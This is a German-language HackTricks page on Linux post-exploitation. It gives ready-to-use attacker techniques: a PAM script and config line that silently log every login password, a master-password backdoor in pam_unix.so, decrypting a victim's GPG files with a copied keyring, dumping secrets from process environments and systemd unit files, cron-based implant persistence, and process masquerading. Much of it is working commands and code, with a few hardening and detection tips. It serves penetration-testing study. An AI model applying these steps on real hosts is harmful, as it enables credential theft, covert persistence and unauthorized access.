Linux Post-Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Sniffing Logon Passwords with PAM

Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zur Anmeldung verwendet. Wenn du nicht weißt, was PAM ist, siehe:

PAM - Pluggable Authentication Modules

For further details check the original post. Dies ist nur eine Zusammenfassung:

Technique Overview: Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit durch Anpassung von Login-Prozessen verbessern, bergen aber auch Risiken bei Missbrauch. Diese Zusammenfassung beschreibt eine Technik, um Login-Anmeldeinformationen mittels PAM abzufangen, sowie Gegenmaßnahmen.

Capturing Credentials:

  • Ein Bash-Skript namens toomanysecrets.sh wird erstellt, um Anmeldeversuche zu protokollieren; es erfasst Datum, Benutzername ($PAM_USER), Passwort (über stdin) und Remote-Host-IP ($PAM_RHOST) in /var/log/toomanysecrets.log.
  • Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (common-auth) eingebunden, indem das Modul pam_exec.so mit Optionen verwendet wird, um still zu laufen und das Authentifizierungs-Token an das Skript weiterzugeben.
  • Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen unauffällig zu protokollieren.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Für weitere Details siehe den original post. Dies ist nur eine Zusammenfassung:

Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzer-Authentifizierung. Es arbeitet mit drei Hauptkonzepten: username, password und service. Konfigurationsdateien für jeden service befinden sich im Verzeichnis /etc/pam.d/, wobei shared libraries die Authentifizierung übernehmen.

Ziel: PAM so ändern, dass die Authentifizierung mit einem bestimmten Passwort möglich ist und das tatsächliche Benutzerpasswort umgangen wird. Der Schwerpunkt liegt dabei auf der pam_unix.so shared library, die von der Datei common-auth verwendet wird und von fast allen services zur Passwortprüfung eingebunden ist.

Schritte zum Modifizieren von pam_unix.so:

  1. Lokalisieren der Authentifizierungs-Direktive in der Datei common-auth:
  • Die Zeile, die das Passwort eines Benutzers überprüft, ruft pam_unix.so auf.
  1. Source-Code ändern:
  • Füge in der Quelldatei pam_unix_auth.c eine Bedingung hinzu, die Zugriff gewährt, falls ein vordefiniertes Passwort verwendet wird; andernfalls wird der übliche Authentifizierungsprozess fortgesetzt.
  1. Kompilieren und Ersetzen der modifizierten pam_unix.so-Bibliothek im entsprechenden Verzeichnis.
  2. Testen:
  • Mit dem vordefinierten Passwort wird der Zugriff über verschiedene services (login, ssh, sudo, su, screensaver) gewährt, während normale Authentifizierungsprozesse unbeeinträchtigt bleiben.

Tip

Du kannst diesen Prozess mit https://github.com/zephrax/linux-pam-backdoor automatisieren

Entschlüsseln von GPG loot durch Verschieben des homedir

Wenn du eine verschlüsselte .gpg-Datei und den ~/.gnupg-Ordner eines Benutzers (pubring, private-keys, trustdb) findest, diese aber wegen GnuPG homedir-Berechtigungen/Sperren nicht entschlüsseln kannst, kopiere den Keyring an einen beschreibbaren Ort und verwende ihn als dein GPG-Home.

Typische Fehler, die ohne diesen Schritt auftreten: “unsafe ownership on homedir”, “failed to create temporary file”, oder “decryption failed: No secret key” (weil GPG das ursprüngliche homedir nicht lesen/schreiben kann).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Wenn das geheime Schlüsselmaterial in private-keys-v1.d vorhanden ist, wird GPG entsperren und ohne Abfrage einer Passphrase entschlüsseln (oder es fragt nach, wenn der Key geschützt ist).

Erfassung von credentials aus der Prozessumgebung (containers included)

Wenn du code execution innerhalb eines service erlangst, erbt der process oft sensitive environment variables. Diese sind eine Goldgrube für lateral movement.

Schnelle Erfolge

  • Aktuelle process-Umgebung ausgeben: env oder printenv
  • Andere process env ausgeben: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • strings -z /proc/<PID>/environ hinzufügen, falls tr/sed nicht zur Hand sind
  • In containers außerdem PID 1 prüfen: tr '\0' '\n' </proc/1/environ

Worauf achten

  • App secrets und admin creds (z. B. Grafana setzt GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • Proxy- und TLS-Overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Hinweise

  • Viele Orchestrationen geben sensitive Einstellungen über env weiter; diese werden von Kindprozessen geerbt und sind in jeder Shell verfügbar, die du im process-Kontext startest.
  • In manchen Fällen werden diese creds systemweit wiederverwendet (z. B. gleicher username/password gültig für SSH auf dem Host), was einen einfachen pivot ermöglicht.

In systemd gespeicherte credentials in unit files (Environment=)

Von systemd gestartete services können credentials direkt in unit files als Environment=-Einträge ablegen. Auflisten und extrahieren:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Betriebliche Artefakte leak häufig Passwörter (z. B. Backup-Skripte, die zip -P <pwd> aufrufen). Diese Werte werden häufig in internen Web-UIs (Basic-Auth) oder anderen Services wiederverwendet.

Härtung

  • Verschiebe Secrets in dedizierte Secret-Stores (systemd-ask-password, EnvironmentFile mit gesperrten Rechten, oder externe secret managers)
  • Vermeide das Einbetten von creds in unit-Files; bevorzuge root-only lesbare drop-in-Dateien und entferne sie aus der Versionskontrolle
  • Rotieren leaked Passwörter, die während Tests entdeckt wurden

Cron-basierte Persistenz mit Loopback-Mutex

  • Kopiere Implants in mehrere beschreibbare Pfade (/tmp, /var/tmp, /dev/shm, /run/lock) und installiere cron-Einträge wie */5 * * * * /tmp/<bin>, damit sie nachstarten, selbst wenn sie anderswo entfernt werden.
  • Erzwinge single-instance Ausführung, indem du einen festen Loopback-Port bindest (zum Beispiel 127.0.0.1:51125 oder 127.0.0.1:52225) und beendest, falls bind() fehlschlägt; ss -lntp | grep -E '51125|52225' zeigt den Mutex-Listener.
  • Operatoren können periodisch jeden Prozess mass-killen, dessen cmdline den Dropper-Namen enthält (z. B. init_stop), daher kann das Wiederverwenden dieser Namen bei Analysen kollidieren; wähle eindeutige Dateinamen.

Prozessmaskierung mittels prctl + argv-Überschreiben

  • Setze den kurzen Prozessnamen mit prctl(PR_SET_NAME, "<label>") (15-Byte comm-Limit), üblicherweise auf init, damit /proc/<pid>/status und GUIs ein harmloses Label anzeigen.
  • Überschreibe den in-memory argv[0]-Puffer, nachdem du die Länge von /proc/self/cmdline und den argv[0]-Pointer gelesen hast; fülle mit NULs auf, sodass /proc/<pid>/cmdline und ps ebenfalls das falsche Label zeigen.
  • Suche, indem du Name: in /proc/<pid>/status mit dem realen Pfad der ausführbaren Datei vergleichst und nach Loopback-Mutex-Listenern suchst, die Prozessen mit winzigen/leeren cmdlines gehören.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks